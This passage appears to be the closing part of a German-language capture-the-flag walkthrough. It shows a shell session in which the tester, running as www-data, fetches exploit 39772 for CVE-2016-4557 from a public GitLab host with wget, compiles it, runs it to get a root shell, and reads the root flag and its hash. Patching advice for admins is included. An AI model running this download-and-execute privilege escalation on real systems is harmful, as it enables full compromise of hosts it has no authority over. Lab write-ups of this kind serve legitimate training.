Empfehlung (Pentester): Lade den Exploit-Code für 39772 herunter, kompiliere und führe ihn aus.
Empfehlung (Admin): Patchen Sie den Kernel *dringend*.

Proof of Concept (Kernel Exploit)

Dieser Abschnitt beschreibt die erfolgreiche Ausnutzung einer Kernel-Schwachstelle (CVE-2016-4557, Exploit 39772) mittels eines heruntergeladenen C-Codes, um Root-Rechte zu erlangen.

www-data@red:/tmp$ wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
[...] Saving to: '39772.zip' [...] '39772.zip' saved [7025/7025]
                    
www-data@red:/tmp$ unzip 39772.zip
Archive:  39772.zip
   creating: 39772/
  inflating: 39772/crasher.tar
  inflating: 39772/exploit.tar
                    
www-data@red:/tmp$ tar -xvf 39772/exploit.tar
ebpf_mapfd_doubleput_exploit/
ebpf_mapfd_doubleput_exploit/hello.c
ebpf_mapfd_doubleput_exploit/suidhelper.c
ebpf_mapfd_doubleput_exploit/compile.sh
ebpf_mapfd_doubleput_exploit/doubleput.c
                    
www-data@red:/tmp$ cd ebpf_mapfd_doubleput_exploit/
www-data@red:/tmp/ebpf_mapfd_doubleput_exploit$ chmod +x compile.sh
www-data@red:/tmp/ebpf_mapfd_doubleput_exploit$ ./compile.sh
doubleput.c: In function 'make_setuid':
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .insns = (__aligned_u64) insns,
             ^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    .license = (__aligned_u64)""
               ^
                    
www-data@red:/tmp/ebpf_mapfd_doubleput_exploit$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@red:/tmp/ebpf_mapfd_doubleput_exploit#
                    

Analyse: Der Exploit für CVE-2016-4557 (BPF/ebpf_mapfd_doubleput) wird heruntergeladen, entpackt (`unzip`, `tar`), kompiliert (`./compile.sh`) und ausgeführt (`./doubleput`). Der Exploit meldet Erfolg ("we have root privs now...") und öffnet eine Root-Shell.

Bewertung: Fantastisch! Erfolgreiche Privilege Escalation zu Root über den Kernel-Exploit.

Empfehlung (Pentester): Root erlangt. Suche die Root-Flag.
Empfehlung (Admin): Patchen Sie den Kernel *dringend*, um CVE-2016-4557 und andere Kernel-Schwachstellen zu beheben.

root@red:/tmp/ebpf_mapfd_doubleput_exploit# cd /root
root@red:/root# ls
fix-wordpress.sh  flag.txt  issue  python.sh  wordpress.sql
                    
root@red:/root# cat flag.txt

<(Congratulations)>
                          .-'''''-.
                          |'--'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-o `"-.o    )_,._    |       |
( o     o )--.-"`   o"-.`'--'`
 '--'  (   o      o)
              `-`
b6b545dc11b7a270f4bad23432190c75162c4a2b
                    

Analyse: Im `/root`-Verzeichnis wird die Datei `flag.txt` gefunden und ihr Inhalt (ASCII-Art und der Hash `b6b5...`) angezeigt.

Bewertung: Root-Flag erfolgreich gelesen.

Empfehlung (Pentester): Test abgeschlossen. Dokumentieren.
Empfehlung (Admin): Alle Schwachstellen beheben (WordPress Upload, Kernel).

Flags

cat /root/flag.txt
<(Congratulations)>
                          .-'''''-.
                          |'--'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-o `"-.o    )_,._    |       |
( o     o )--.-"`   o"-.`'--'`
 '--'  (   o      o)
              `-`
b6b545dc11b7a270f4bad23432190c75162c4a2b